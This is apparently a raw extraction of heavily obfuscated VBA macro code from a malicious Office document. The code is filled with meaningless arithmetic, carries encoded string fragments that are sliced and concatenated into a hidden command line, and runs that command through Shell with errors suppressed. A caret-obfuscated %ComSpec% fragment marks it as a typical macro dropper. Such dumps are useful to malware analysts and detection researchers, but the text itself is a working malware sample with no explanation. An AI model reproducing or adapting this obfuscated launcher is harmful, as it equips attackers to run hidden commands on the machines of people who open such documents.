HJujCOkcP = HYlvjuwEfzszME = (1212778 / QIzwATkNjqzO + 2950304 * XrZrRJPkH * (4171550 / rmlvKz / 7985651 - Tan(PzbdSznoXO / CBool(wioJbBXUnwXjB / 5670734 / JhzSWsIlzXvO))))SwiARdQw = gjHBjhbyuf(ztfAB, 16, 187)wiwTiIKb = "rQLAjworKOaEuLJDBlfRJupmBQNAMDAzAgYAEDAhBQMAgDA5AAOAYGAyAAOAIDA1AANAEDA5AwNAIDA3AwMAIGAyAwYAUDA1AAOAMDA1AgYAEGA1AgMAMGAhBAF"wJdDAWpji = sifKYmaku = hSVptPMPNPMAt = (86951 / TSSXiETkAii + 2103482 * jjZIKVYW * (5021972 / plmSvSWsp / 5916415 - Tan(EUINMnNiUG / CBool(EtfdqDp / 4543289 / JtucmvmXRd))))HiBmPsNsFSR = qojnfPRvw = KnFQajsmScS = (464507 / CVLZfaQA + 8091169 * rPaYFAOY * (1678008 / pRVniCGCzFpKo / 4447404 - Tan(STplUhhUXO / CBool(zImmD / 708667 / KclAXv))))vLVBC = gjHBjhbyuf(wiwTiIKb, 2, 99)jAwHiJ = "tTGmUAUDA0AwYAgDAjBQZAUDA0AwYAQDAyAgYAYLDvzWzjoLJijDzAaJ"DzWuUDp = HBcoKdVzm = KsbAGPUmjhJ = (3830248 / UizFm + 433846 * JTkKtpbRZolYiu * (3666633 / bPqNNqqKsnz / 1449643 - Tan(LXizrZ / CBool(IRHQnDNrvllHB / 91629 / qvpiTdaRF))))AFcbalcb = qTLNQDaqV = ZKIZZKcwOH = (368022 / GFnjmIJGMiABa + 3930320 * zasKvlYaNiVPX * (8142667 / LJEzNGakQR / 6447275 - Tan(QrKHzETc / CBool(WwGFhiawQ / 8632495 / PhWqwaGlZqbs))))mjlsnFbCmkS = gjHBjhbyuf(jAwHiJ, 18, 34)SibCQkmLV = "CbmTiPBYSXLNMhSAUGAyAQOAkDAjBAOAEDAjBQMAADA2AwNAEGAzAAOAYDAjBAOAUGA4AAOAYDAhBANAEDAiBgNAYDA3AAOAgDAjBQMAIGA0AQZtWGWvmOIkRQvzHFsN"ZnFBzzmbGw = VLrwmSwXU = zrWcDYPbrG = (1188805 / zhzdacwGznHIW + 495471 * KBYOTC * (9190483 / jvGXolFwAq / 5979815 - Tan(KzJsTaO / CBool(KkOGBSEaTr / 7390945 / BCPhTEIVuqGR))))tzarus = qovLrfuto = UzjzWVjf = (5620775 / ErMHjb + 4888447 * SsiTdzP * (2448998 / tioztwiiQ / 242795 - Tan(hmoPNwMw / CBool(ocQFfbvkBW / 6790189 / KwnwpLLtdZT))))IoFUk = gjHBjhbyuf(SibCQkmLV, 18, 96)QECmVWbIf = "wOkEOP4AQMAYDAmBAOAYGAwAAMAADA4AQOAMDA0AwYBsVatZuqWMWDOiDfldJpwTPKA"DbHnhczQVwY = OSWjidmFp = OzPHmwPD = (4795397 / XjzHXoFLS + 4475525 * PzazUzX * (8592956 / iQVRW / 595588 - Tan(JMcPj / CBool(WlhVPMtYanSDz / 259896 / JSzsLUpGLflT))))kGohXHRJL = lwzqHdWbo = whKzjHd = (590013 / XBNzucX + 4736637 * jfWqisHbb * (9448340 / acZAuTR / 6522318 - Tan(oicIROS / CBool(wENkEwvJs / 1514573 / RrEjj))))NTiqD = gjHBjhbyuf(QECmVWbIf, 26, 36)AVnCDHMVO = "EzMZWQjGAScvn4AAOAUDA4AQOAQGAzAQYAMDAjBgYAMDAjBgYAMDAzAgYAMDAiBQOAUDAiBAOAUGAzAgYAMDAkBgMAcDA4AQZAgDA1AgNAkDAmBAMAQDA5AwMAYGA5AgMAIGA2AQNAcDAxAwNAYDAxAgYAUDAmBgNAUDAzAgYAQGAyAgZAUGA1AQMAEDA1AANAcDAMYNqwECzAa"siIVL = JsAzLDsnn = CVAOABio = (8435210 / imRNmn + 202882 * njlZwiqD * (1118093 / jsslz / 5448761 - Tan(JdAjhsohUfX / CBool(mKXCbAHddW / 4161762 / zvcFzMwmp))))WolGuhTM = hcKAkGnzs = zScTrLqRlr = (9688975 / mIcjl + 3067482 * iHiklFhNBqt * (3891545 / lsWFUcluIvL / 9003908 - Tan(iqBYBVXNJXQiq / CBool(JzoarXR / 3324030 / lWOIipZLWpuar))))ENCqSR = gjHBjhbyuf(AVnCDHMVO, 11, 184)GTENXCcc = "RUzwii1AgZAMDA1AwYAQGAlBANAUDAhBgNAQDAiBQZAUGAxAQZAgDAyAwYAMGAkBQYAUDAxAAOAUDAjBgYAcDA2AgNAEDAhBwNIbfqqTuiqiTZkUpjzSRYwXsZmnii"DqzuzpTwhT = bVoijIXDw = UTCTqjv = (1511246 / WupZM + 4908817 * sMPLqTFIzpXaAs * (4785539 / ZIPiAzAzj / 2309175 - Tan(CflvcJjQKnmXB / CBool(tTAIUHI / 9568146 / PQwqwsLPc))))qiTjsoNU = icDcNtuRQ = NjmkNUHjzq = (2852053 / iFIWf + 6060660 * lXzYKtZL * (3241616 / GNDrjj / 7522290 - Tan(jjWrLMYNat / CBool(UrOPzfEOLbqoJq / 5097775 / dLNCVVszwvtMn))))bFRhQlCinR = gjHBjhbyuf(GTENXCcc, 29, 92)tiSaMPR = "JvtAaZiHkZAYGAzAQMAEGA5AANAIDAyAwYAYDA3AwMAcDAiz"fcHDsLlNh = RUsRIHiQV = zzYzGbr = (1427673 / TsQRlBBnAv + 4502245 * rGWOjh * (3380725 / IoBPFKbuQojZ / 4019512 - Tan(pNADHQGTiU / CBool(DFqBlZtZWVirAM / 5173496 / HXLLwnPRI))))cTajGWECQz = NdZBioGjS = EksiO = (8041873 / wGKWzqjqzwWJzQ + 8216578 * sXwUYshYK * (6708161 / WpOszWw / 7842916 - Tan(GmOmsL / CBool(rjXSkNKzGR / 4114778 / GYmLQfKAkE))))hcFiOBTTdt = gjHBjhbyuf(tiSaMPR, 2, 38)hwluzEpOjd = "EkoYKjnrXuloRGXiwIsiubTPEGAjBwMAUDA1AgR"OOqtlArrA = wpPisNmEA = ZdUUBlY = (6897375 / jVfSDuccNzMOtl + 2397467 * JCuuIB * (3671566 / zQYCiw / 3364108 - Tan(DZmvTW / CBool(oPkZFnw / 6176904 / HOsjiprfCYTnV))))TQcVwiOuIXj = auQhELTzQ = mqFiXbNTDkju = (3895488 / iiOiH + 8694051 * DZSpqIYjlMsqbF * (8624497 / LTDpFPCof / 4988986 - Tan(zZwlsXr / CBool(RnohSpjSXoE / 8534857 / pFDPEEpnWdKQzY))))EOGbI = gjHBjhbyuf(hwluzEpOjd, 2, 13)fcCMwP = "tTfUXTVvCAIDzQAnnzzVhVtOQXEDAyAQYAQGA0AwYAUDA5AQNAYGAjBQZAMGAhBAZAADAhBQMAUGAzAgNAEGA3AQYAcDA3AgNAUDAyAwYAYDAzAAMAjjfMqYcY"asGTnFtbSn = jisblaAjt = HEVYVJRtJASq = (6489256 / rkAWdvz + 7607478 * jMlokEwjPG * (4705547 / PtJjuOBYjktB / 6618705 - Tan(AadDzrTaoLk / CBool(joKQCkJY / 5386390 / qnjhvPuwSkGBE))))nuiUCtNANX = YGMIhSpEz = ZiMNThIrKHJkqT = (2988242 / EfstAOikmKqbcF + 7386492 * soJziBbOKswt * (8932222 / QstlOJMEwLDc / 5286680 - Tan(rhPEVX / CBool(BJPMCEdjIRlqz / 8888893 / iqrcZnpwwGaSXc))))DqtizzSQ = gjHBjhbyuf(fcCMwP, 9, 88)MwpRau = "DliSPRblAMAIDA3AAZAEDA4AQZAQGAlBANAEDA0AwMAIDinpJCoGznGOiDZR"zkMFiO = UImMFomjh = cdzfvIcruz = (9264524 / MCpmY + 131345 * VzjvvLPG * (8208207 / VfDlAnjV / 4986888 - Tan(VGozImPwk / CBool(SPmNMfsiC / 3810981 / ClZZUsTLPIR))))dnEqwnkiR = wczPIkmJw = VTwFtqZU = (8975499 / TGsTUPaotvlVOB + 3278623 * PzWIvt * (4480503 / jSaTaCu / 8267082 - Tan(KwskiutK / CBool(PAhAFzojaczmDa / 6695411 / nCoGNqAuAE))))tCsBVhJ = gjHBjhbyuf(MwpRau, 17, 36)cVdXsUz = "RBwSlwoYvSEGAmBQNAIDA2AQNAIDAiBQMAYGAyAQZAADAzAwMAYGA2AgNAEGAxAQYAgDAmBgMAADA5AgNAIDA4AwYAMGA3AAMAQDA3AQOAUDA0AAZAMDAmBQOAkDAlBQOAADAlBwNAgDAxAAZAkDAxAAMAkDAHjktqTDrjZhmTIBMfjzuW"Qrbfv = GcdcLqbpd = zDQOJIiRv = (8427911 / GzIUN + 8068639 * ibAEhHzHYRSY * (6938037 / JIGLlboGSc / 96531 - Tan(kzfVI / CBool(AmKBXsWIPBjNzW / 1489881 / zoBJcOBXIY))))TMlTIHdvQw = DjXzbCIUY = RHlNocMmWFcdtH = (468230 / TzUmlmtzpplQZ + 6296362 * iwKKq * (684806 / UACPADvZmPwl / 6747771 - Tan(zmMfNl / CBool(zrvMqAwfj / 9480041 / nffUjWl))))zSzuzDU = gjHBjhbyuf(cVdXsUz, 22, 147)wVMcMwrlh = "zrdWFRfSDAyAgYAMGArpbfZiaXwcarj"NIKTjSHt = YWRkbowRt = woUJdfdlJlX = (9950702 / JpcsiDhNHwik + 7169831 * UIScWkwU * (1746446 / SnVXrd / 6657659 - Tan(ZiIuzvNOMTqspY / CBool(KJcqJAPpojSav / 6539429 / VdNhLC))))attZkiRsN = MaIWOIXfd = TuvKOPmZ = (9266203 / tTOjVS + 6179544 * zNiHM * (8091385 / iUUvsrJLPwjzXv / 1241351 - Tan(olCIsMbBvcVhP / CBool(MhFMfuSiDRkI / 9717893 / pSJHrWpVKhG))))sEWFsm = gjHBjhbyuf(wVMcMwrlh, 14, 10)BmouLJ = "uLEQKdIjNkLHAAMAcDAiBgMAIDAyAAZAMGAjBQMAkDA2AAOAQGA5AgYAYGA2AgMAMGA3AgZAUGAwAQMAcDAmBAOAADA1AwNAEDAzAACo"aVYDqVdYVp = qmVJozPAt = WaztkszQAkQb = (7502718 / HPtcITFEiX + 606912 * uODwF * (922609 / knURIOVmjD / 1812791 - Tan(PztCZGnrafSwc / CBool(jzjMBiLAConzk / 2780777 / hWAUfnEAMirS))))wvkFWVX = NAEVXpShY = WBifO = (9308355 / ObWYEs + 1823346 * bzCcwXiJ * (2345296 / zwTPHRhOizwpzZ / 1465432 - Tan(zCVtIIuDwsPEbf / CBool(rShOwlzUErpO / 1916631 / lwcVBZjo))))mwDBYaGKijX = gjHBjhbyuf(BmouLJ, 4, 89)ZaziqiqT = "FRBQYAYGA1AANAEDA3AQOAYGA1AAZAUGAiBANAkDA1AQYAQDAiBQmCpPnGaLbzffD"FfwJVjOOj = XimWoXvHq = cwDJTH = (5876685 / UjELIu + 4026954 * OsWoHQmwuv * (5563475 / bFqSGHsb / 6030345 - Tan(qZENDwnMa / CBool(BKJClCwMJHPYi / 2815883 / PplFABtztC))))lZwsP = wjtMqIhUk = RwojDJf = (3353795 / FRvpioHBH + 5014049 * HKPApSEATwhEt * (44724 / SAEBrWc / 5227828 - Tan(kAuLYjGautGH / CBool(orlEfzZYNBp / 4178659 / GwFiUfjcP))))jBITvPRb = gjHBjhbyuf(ZaziqiqT, 15, 49)dMwQmWRF = "OpZRzTIwXBEXbtqu2AQYAIGAiBAOAYGAmBgMAQGA3AwMAADA2AQMAUGAyAQNAQGA5AgMAMDA1AwYAIGA4AgMAEDAxGFirRXKbPJPW"vkFjajuJ = MtHdGwfFb = iCHYlUplNP = (4485263 / LiIYIFiiusqFw + 1894488 * KKVSOVfr * (2885473 / BuvGncbKTi / 5682261 - Tan(hqZWwiqMC / CBool(bAiarwIXfm / 8697879 / GLnXGPOuibqpcf))))ZvXDRw = trZzBCZaS = bNkfBvDqbjjNj = (4752189 / awHwAKpzMD + 3221286 * hlqYfttvtfjsiY * (9918476 / tvfIAUa / 869640 - Tan(iRkmPXbl / CBool(VFlLDTqcjvPONc / 2042763 / ERXIwMKmFB))))OiTHLRtF = gjHBjhbyuf(dMwQmWRF, 13, 73)BCUJAm = "NrCfQRDAiBQZAMGAxAwMAYGAiBAOAMGAhBAMAMDAxAANAQGAkBgYAEDA4AgNAkDA4AgYAUGAmBwNAIDA1AgYAIDA2AAMAIGAiBQYAIGAyAQYAIDAlBQMAIDAiBwNAYDAxAAZAQGAmBQMAADwFfOwZp"EwdLQXuJ = iPCDSEwVm = FcqhQVwkrFWu = (7675889 / GvXZljT + 2029893 * NLkbXWPmitDcU * (9677918 / sqqwAhCnbnz / 4495391 - Tan(YjFUukdVjuY / CBool(cTnBkmm / 9405166 / hvqXKKKXInazi))))wKRQStS = NzojhjVML = RhXNOmrALaqroO = (9393247 / ZSwXGwPuGoMA + 908525 * bdVwZ * (7937956 / zwlRnPYrWLZm / 9507632 - Tan(COnqSSd / CBool(aZqvIw / 2503787 / qpHwbWMGS))))dKjAzVGtGi = gjHBjhbyuf(BCUJAm, 8, 137)GjCnl = "UswpBHATNAMGA4AgZAMGA0AAMAMGAyAQMAIGAxAwNAUGA5AQNAUDA3AwNAEGA3AgYAYDAzAAMAQDA3AgNAgDA4AgYAEGAiBQOAIGA1AgMAMDA0AQZAUDAwAQMAkDAyAAZAYDA2AwNAIGAmBgNAUDNtEDdJFBaH"NBjShSfji = IzfCBzGLC = qktjHjjoAMqJ = (3648736 / ajYnQqWVAp + 9896722 * NLwlPji * (5789798 / pFWhTwYlpDz / 5797376 - Tan(cVYTu / CBool(RUjDjvT / 4451568 / OwHiowkaBGwsw))))jiaSXWjj = jLlzhLjdM = oSMMGBplAbiXtw = (4034254 / EruXNwTTkXSh + 2651723 * nMBzSM * (5473742 / iZMUvRPMSpi / 8589795 - Tan(sjpjqz / CBool(bijIXtnWWtdIM / 3976488 / VLsCBDY))))ELUPRwpH = gjHBjhbyuf(GjCnl, 13, 138)MQwQtbMf = "VkkzZDBzfBgYAYGA3AAZAUGAzAgYAEGA1AAMAEGAlBAZAYDA2AQZAYGAxAwYAIDA1AQQjwI"bNilwoiVDm = dddEMhjIz = KCrmJBlHGmnAjJ = (5687680 / oNhWv + 4513761 * dHXCqzsSRQm * (2412464 / vnWULjTardwTb / 1960099 - Tan(VabAmVOflzuJN / CBool(WjtzkGAr / 2540224 / PDFldaj))))kziFYij = PnzwrpmZX = IkVRWFGVtCW = (8243086 / tiNRl + 6723501 * dBLQfWOX * (5880200 / HXMZrGrtswzPj / 4588403 - Tan(YkGRiXB / CBool(HDGZFmArirzvw / 5796772 / BYVYskQNSn))))tHCnwzQRo = gjHBjhbyuf(MQwQtbMf, 5, 58)jCKFAUiVMR = "BIjQAwMAkDAzAAMAADAxAQOAYDA3AwNAcDAmBgMAMGA3AgZAMGAlBgMAkDA2AQOAkDAxAwNAMbujwRavfozurzPwhMJwcAfSX"vAILpTSwmr = bOThjPAGs = LdSwApUIKHaX = (8229662 / jOMRnmAVdqSVI + 9349375 * ZhAvIJTWCZtp * (3625829 / ujEXbwSCiTF / 7934744 - Tan(AbjijYSkZZbih / CBool(sJstzhni / 2077004 / wjzWWwh))))wpwjvLivEBc = pSTSuWuNQ = wUGcouiatqZHHC = (3457626 / SjzawOas + 7318956 * Ozznzjhh * (8182478 / EkJmPvd / 1672321 - Tan(iLQAdD / CBool(NqDitOq / 4739638 / lcFstaaMEMh))))CtiGajmkTh = gjHBjhbyuf(jCKFAUiVMR, 25, 69)AlDOvWUmiR = "azCBwjIEEOHOWojYKoWzqoMZPuzAxAQNAADA2AwMAEDAmBwYAIDAlBAMAEDAhBQNAYGAiBgZAUDAwAwNAQDAzAAOAYGA1AQYAUDAiBgYAEDAxAgMAYDA3AAMAQGAxAwMAQDA2AQYAgDAmBAZAgDAiBgMAUDAhBQYAIDAmBQOAYDAhBANAYGA1AwMAIDA3AwYAYDA0AQNAMDAwAAZAITjIM"VZwvK = uhDtzVkaI = zooEGNIYVtsKj = (4119790 / sWKtiXftnKj + 8217428 * NEaSDQRjA * (1313004 / vizSGUjBiKEzaj / 5032257 - Tan(TuAuZWjK / CBool(TaGQDzsP / 2616757 / DYNnTafIOJFzld))))SnDmXhOB = zzozMWYvp = mudki = (2157494 / jMiXuGH + 6438469 * tOVBLToc * (3711969 / KtCqZH / 6802329 - Tan(AZwviDz / CBool(mCGCqhRsc / 1925914 / nqSFBRXASj))))sroVjvuU = gjHBjhbyuf(AlDOvWUmiR, 5, 183)RMswC = "IbOjoCdPQppNYqAQYAMGAkBQNAYGAwAgZAEGA2AQOAMGAmBQZAADAhBQOAEDAhBgMAkVMfXVrhLwQDnCKCDjzDKRFjNj"uiownVww = PdzfmRIAK = TBUtIwsJAU = (5006048 / bnUZi + 4583299 * HDIco * (2397193 / fkniHsTzABzvb / 8715019 - Tan(CSbaOBJKMjk / CBool(CYLYjjRQIWRNhh / 5816307 / TcnwJaBpBNwq))))wpPfLTHF = VZazWuQZp = ROKcYjAOsj = (4495916 / rkwoncWVX + 3573701 * avivSqmQFzq * (2158455 / mhBVomURS / 9781155 - Tan(pCiHoCTFwfj / CBool(qkiYFPSZBZX / 345958 / aBhkzR))))thcTX = gjHBjhbyuf(RMswC, 26, 53)wqhQViSJ = "sHUBkBkXbAjBgMAIGA2AANAYDAzAgGJnIEJJb"KzHWs = zUOYqhquX = FzABXsv = (2455034 / ZtAVtBllslSU + 5835767 * tiHAwOGG * (8848455 / ZYRDwKBCVaYYw / 9782912 - Tan(WFwzJFsah / CBool(WQswwf / 3500533 / JwVjhnhjPwEtVj))))DtRjUX = IiZJKIkmh = kwbuJDXuGYoCAm = (4503778 / QaptWn + 7065044 * INYoUJPXPXzlL * (7502320 / MaJnzsFin / 7303136 - Tan(sJzna / CBool(LlmwfiazIRncnm / 9564672 / BdSNAmzCil))))rsBQPlVCXMj = gjHBjhbyuf(wqhQViSJ, 9, 20)RVbMJiE = "jXMlGYOthwiWONvfwVzBROGAwAgYAQGA4AwNAQGAxAAZAEGAxAgMAEDAlBQOAYDA4AwYAcDA0AwYAIDA5AwYAADAmBwYAUDA5AgMAgDA2AQYAUDAZTH"hwjKrYhCD = vcMmMKKOD = LniIV = (3028706 / OMiLBWZUQfd + 6657498 * dfzzanbsaZN * (6128948 / iPdVZnNJQuD / 8936443 - Tan(FmSvfjjUYfqii / CBool(oqomUfVoJqv / 1046191 / VZNltFjioaiuj))))lpiziV = zKJjnqrGY = bHjOYRcb = (9966495 / qKuLuwZBw + 31021 * KrnfLiZD * (950466 / jwGldKq / 1392051 - Tan(LwiUqoPw / CBool(qRpIYCRQviNmC / 4646702 / MHOoaQliujoRfW))))BkIuzmR = gjHBjhbyuf(RVbMJiE, 4, 89)PZTMtTiEjOw = "FCzzvYAgMAADA2AgMAADAxAgNAUDAlBAOAEDA4AQMAQGAwAwMAADAiBQZAkDAzAAOAIDA1AwNAkDA0AwYAMDAzAQMAEGAiBQNAgDA3AgZAIGAhBwMAYGA1AgNAIGA5AQOAUDAxAAZAQDAiBQZIpUJ"ZpCTv = ijazzHEDL = DSWjFKacobT = (8920427 / hbppYvi + 5116563 * XtohpbbjKYI * (4203311 / ZwmiwTwPSWk / 4440421 - Tan(XHRjIdFUucuXV / CBool(BFRumqCCtDtzOi / 3628146 / XEKwE))))YGmwPTFjKr = TSiQiQKiT = GcUvKBbwjqVNN = (7380399 / ObCqFqM + 4762174 * hnmiHasXaMnUui * (1655786 / wGiGj / 1123066 - Tan(sEQoI / CBool(NBtEZNWPwqGw / 9537759 / BzrUstnJjiSL))))KrXYahuCMw = gjHBjhbyuf(PZTMtTiEjOw, 5, 139)EUAmz = "GuzVuhrkpLwmGAmBgZAUGA3AAOAEDA0AgYAIGAkBAOAIDA1AgZAcDAzAQYAIGA1AgYAQEsZVQlNFPBQnHzPYJnf"qzvjsEZau = dPEtWsMmm = XHBuwAancISKDc = (8760490 / QwXzuoJjfEG + 3356051 * QSOaB * (3746836 / jOwiDSH / 7998493 - Tan(TMbzp / CBool(PPpAjzUPst / 1796042 / MpDjCJfBCAp))))UtmYpo = tcjUjMsfR = nDzkAjQ = (2155959 / EouiuAwjKSUnZP + 4873635 * YCcoCzOrVYmDwB * (4863226 / qDvBztm / 3854513 - Tan(ciNzaOnapch / CBool(WwEaCNWOtkIs / 1041978 / VTYwfQIFZRAuuJ))))jDbNM = gjHBjhbyuf(EUAmz, 20, 56)puriTCO = "tZpDEtoBFBAZKrTjCLQmwMznvOjFMkDAlO"hkJoJsqi = zRcBovsGC = koKGajbcYwLmvM = (7938121 / ANoRlnVX + 5886290 * SBwIIh * (2019645 / FlHksd / 4628793 - Tan(SIhLW / CBool(MYufRkJz / 3673094 / bSQajPndbmGE))))XmNzuuAOriB = JQUKtjVMp = mCoXOcQZ = (9929404 / SUIaMz + 4213066 * VEjkJ * (1573005 / dLGrabG / 9447715 - Tan(fOlIBK / CBool(BmzloHt / 9610934 / NSrkjCsjIkRJiZ))))nYBGc = gjHBjhbyuf(puriTCO, 2, 3)CcDCtEVr = "EwOdcTFYXBQMAMGAiBAZAPwF"FZRJPcZ = wJPSJMMrh = XYpuTDsC = (6121649 / scGfhXanhQEnUl + 2754288 * ziraAhQsD * (8545425 / OthYlikCTDkk / 7296330 - Tan(YJROkEEfvFKK / CBool(zLMNb / 7941800 / MtArTEjiuTN))))dIBnvGwZJj = zFpcXwdTn = iwbObdlrHpI = (9063322 / YfIZv + 6074509 * VkbrMFPW * (7643186 / kIBBivY / 5675702 - Tan(awrndFCEQwOZi / CBool(TNzWkBVNODtF / 9945293 / AujkwDEWizwlJ))))iCbIT = gjHBjhbyuf(CcDCtEVr, 4, 12)uswKJtj = "vZUMElAJjrOQQYAMGA0AAvfSbvt"ZTZPrMUZ = kjtqhOFFD = TILCXt = (5038482 / kDWtdMT + 4782960 * ljWliubYSwTKis * (2577506 / SSTYrKAAtuFk / 8254052 - Tan(hXITT / CBool(jUpOkdFvG / 393707 / KJFKt))))PuUoPlvjIZB = AADbjWrjp = hPQwCPYoGwdFn = (2662687 / Eursu + 5143772 * snXHPsrKcFYs * (9173304 / iKznmUwMPvMpW / 5426258 - Tan(zruQwXcYuz / CBool(zwVYjvSOZjr / 970426 / GmfYcv))))MjvmhNHtCDo = gjHBjhbyuf(uswKJtj, 7, 9)SHzYRwH = VziGLuPjjz + WPicOibzSB + dQIcNsh + ChrW(34) + FnFXCqrORXHC + jIBTlSFkaIz + KJZTfP + EOGbI + tCsBVhJ + wfulZS + jwhPS + ELUPRwpH + MjvmhNHtCDo + kJQbk + fHkdZ + KrXYahuCMw + dzlRupHv + jKofwjNlE + TiwGaYD + NbiHqL + nnwzJzqUUu + UulGq + IoFUk + NTiqD + InXrLQbYI + iRGUUsNY + jBITvPRb + nuujzXVPTqz + MsJPddN + zSzuzDU + UHHIQHPzS + BzPak + qccNtmb + iwqmwDfj + ntJcDiWtZXO + bFRhQlCinR + ENCqSR + JDFSWTdkrtS + DqtizzSQ + iCbIT + hcFiOBTTdt + rsBQPlVCXMj + RfrsBkS + CtiGajmkTh + wpKOVjXV + sEWFsm + jDbNM + mjlsnFbCmkS + dnviYZlaFD + vqzkvC + tHCnwzQRo + WvCDvIYJ + OiTHLRtF + dpJGfAk + vLVBC + ddWLaoYwjX + nYBGc + sroVjvuU + dKjAzVGtGi + thcTX + TiZukVvz + BkIuzmR + vFvvcfdFmQ + mwDBYaGKijX + SwiARdQw + MUFwAhiiSa + UZpOKtovWMh + uOHTIsHmlKJrEv = zZKhNsKBT = wXzmRCjk = (8006843 / NdCOMqVbsRp + 5250998 * qGOvppzhMwELiu * (4088624 / ibZBYhVXv / 3990275 - Tan(XiJBdUaHf / CBool(Htusz / 200716 / zChwzGKqQZY))))IlrAUSZwD = wbqEnpRbh = JZjpZtmaXb = (9771522 / NvCzuMG + 4812385 * SAzjWLdIKo * (6707485 / lPzbvR / 1349416 - Tan(rCWEkOvCnuF / CBool(ICrYjGDh / 1754793 / MnPCbfCX))))zuzrkQdsw = IQbUQiOAj = asoOZYZpj = (7867689 / mQzQuLURRau + 8255917 * vRhwwE * (310301 / sGbfK / 6181173 - Tan(SKbtDQVzbE / CBool(XtiRwjBjT / 1570581 / dsfnftKYkkfuz))))End FunctionSub vMYGVKwdlvt(zaJhGts) On Error Resume Next Dim TkjfsfpJNznzoI() ReDim WBEHh(2) zpMThjdFuwnV(0) = 5181492 LfsNpUo(1) = 3117462 HwarVmjBlKNV = Loo - 9032215 MKwMESwA = 5351248 * 2669506End SubSub zFGYQzFpKYzFO(vVAIwfRYGflYzr As String)On Error Resume NextvtrJqSMzh = BEXHsITOw = KNrQL = (6253044 / tIjzp + 1426210 * MvcvWKTz * (2997182 / tQoCDElDCwRz / 824473 - Tan(fcnYENjLzD / CBool(wjXrmhMwDWvrAp / 902819 / unIDMrwPuWutBD))))iSlHHYNLP = QEBAHkkni = PpYozjFhIzPmTw = (9905422 / cGsijkiXrzKq + 8330176 * JjLulOKilY * (385160 / FOAilEBTIiuzS / 6095894 - Tan(AwAYOq / CBool(ofaYKldzUU / 6322256 / fUXNNFpXVipLb))))GGKhlAnAa = ZVDMuQqKK = TcAndjmSY = (3541080 / JqPzEi + 3681961 * jUtpEuCK * (318983 / ZhLUPsz / 1057977 - Tan(jwwhOiSQ / CBool(nPplXuaFZm / 9342424 / bYlGzlwoaWzzK))))mRlmiHliX = WmWnKQuKS = IaFaNaP = (9416436 / bERRqakcp + 3562569 * fLOEBwkLajuPDl * (8115551 / jrXMOKPCSEV / 6070200 - Tan(ZoErWjz / CBool(BYOpEWp / 6342197 / OfAqElRGhUvL))))lwdFwBrpY = jFsXfTJWK = ZVdqpfWVDnlp = (2329021 / BPbkk + 1090968 * zrQiaHTY * (3422536 / jXjWpH / 1183717 - Tan(acjoCmqsqWPr / CBool(mEUbiNIPX / 536495 / liBSjfLIVwKdnJ))))Shell drhQzJajzSLu + vVAIwfRYGflYzr + uzYCZjD + kYMLKHWbc
      vbHidebjSqjRhGF = nLvEAUlAN = YHDEFQtTU = (1116744 / BEIVrfbUKjqv + 3814421 * scjYsZJtwDUXcN * (4819884 / wNATlGniIoJjD / 8390350 - Tan(MkHNoMubjcI / CBool(EBTDOv / 3967117 / duAKlpzPDPd))))qGWInUAkd = DlUqdAihp = vkiJDRjzbzOf = (4630613 / zSzisjjO + 2135319 * isZKjkGQZSTsH * (9408906 / qEWYlOXN / 849595 - Tan(LBzoIChZriLrY / CBool(rswGFwGK / 496914 / CcMpZcHi))))VTVjHbQQm = TQSGzfGht = RHHjAwjm = (6291771 / szOXjVFuIlXpp + 2010762 * tkJCzGIjMqXN * (6903400 / kXokatTB / 8999082 - Tan(dZLYIscSz / CBool(GOakjjjTChJIVa / 4587910 / iFOQUsp))))jYXvjYUOE = QnNVzEArK = zNQVE = (7133455 / uJXDj + 5278472 * YqLMnzu * (6478412 / ErhMBPdE / 4500149 - Tan(UtcTDS / CBool(idLrBj / 2400011 / zGtoDKFRuLdXYz))))ifSfaHVwX = HtdRQWbCI = NEIkQTvOb = (6427417 / Zvljzf + 4715461 * IFiAjmuas * (7951343 / SIUCLuWvCMfstP / 3007130 - Tan(wriRqDjAPiE / CBool(wVtCZjOzF / 8730911 / odkWJdMkl))))UEwiKXDPb = UmcqwwjTc = MAQcESto = (1250535 / XWCzTFuZKsB + 5572428 * XkGwwjnqqAtYkD * (5309459 / QRjziEzjfWrCG / 1719648 - Tan(SjAtszVuHSr / CBool(WJZiBSitaRf / 3384450 / nXRbokjh))))QapjKjtvW = biqXbZFop = YPJADjaFaDST = (6589268 / zFjjwr + 6705318 * wDpBavLzMnwA * (2133713 / GZlAkiTs / 851838 - Tan(wjXVqV / CBool(wBjRGLCIitcrf / 3902545 / whwJwwHEVFz))))hErXpHqzA = wbBAOirFl = BZoOmqWjXrqzO = (2137383 / iwRGDV + 136714 * TjVjwvPGBTf * (909939 / sqEhTaTFJ / 268650 - Tan(qtkkazh / CBool(AsUiRKYl / 1415723 / piiGhlHMZkuh))))End SubSub JhIqEKffCl(EhYLmWu) On Error Resume Next Dim LUUXijMzdNZw() ReDim SQKwJUTac(2) msXCzM(0) = 9176141 CpFVHpKdG(1) = 8432034 CRdollR = Loo - 2615999 dCaOjNh = 5980922 * 1290948End Sub", File "NmhnWHTzJVmj.bas" (Streampath: "Macros/VBA/NmhnWHTzJVmj") has code: "Function VziGLuPjjz()On Error Resume NextWfHIujbNMNc = "rFqiaDipZdAETj dmcGCdQvrwoIHmOPvfYujKqSfVh"qTThwY = QiOzpJzpA = qJWNdudLHM = (3335414 / WFFuTQDdaLM + 5848253 * jGtGqXOJ * (6500279 / sNUhnZSnfHjI / 1789407 - Tan(vqjlXBizrvwnk / CBool(RoDXoS / 2477158 / wjQDHYjXhYz))))DBwcKhIOsSJ = zLzqcljIv = YkzoNWqDM = (3747543 / hOszVUuFQUOYq + 7214511 * RwalIJRLZzQOu * (440507 / TUEGRwHsHRmCi / 309345 - Tan(LJDTEs / CBool(bKjPDSwFFA / 708282 / BuTjTzJFTT))))MsJPddN = gjHBjhbyuf(WfHIujbNMNc, 25, 15)MTzFiUnVwSG = "GMwcIQA & nXIWkzZSYWkK zqsYwLtUMjsADtaqTch"WblCkU = tapNRRRSa = tADRtkCOTS = (3838939 / RfRUJ + 8634014 * haNpY * (2865134 / TmiOKn / 5467678 - Tan(mjBifPkVjws / CBool(IJwzIYOsAfKfC / 6904762 / PkFIjaht))))Jrwzw = hSbNozEiq = ZAKphGlYjjG = (4738870 / fvwUliqLP + 5167417 * OihLavw * (243371 / AdiGZDwX / 1543646 - Tan(znJwvRpcSzATJ / CBool(vbDZZwonFE / 4198258 / Nsuij))))nuujzXVPTqz = gjHBjhbyuf(MTzFiUnVwSG, 20, 19)kvtdJGZLj = "sRhnLFlidjrjHtmo^C% %cEp^S^mo^C% IIKSRfsEjc"DiIPcPAXDl = UPzoZlRUz = zspSEUDzo = (3840327 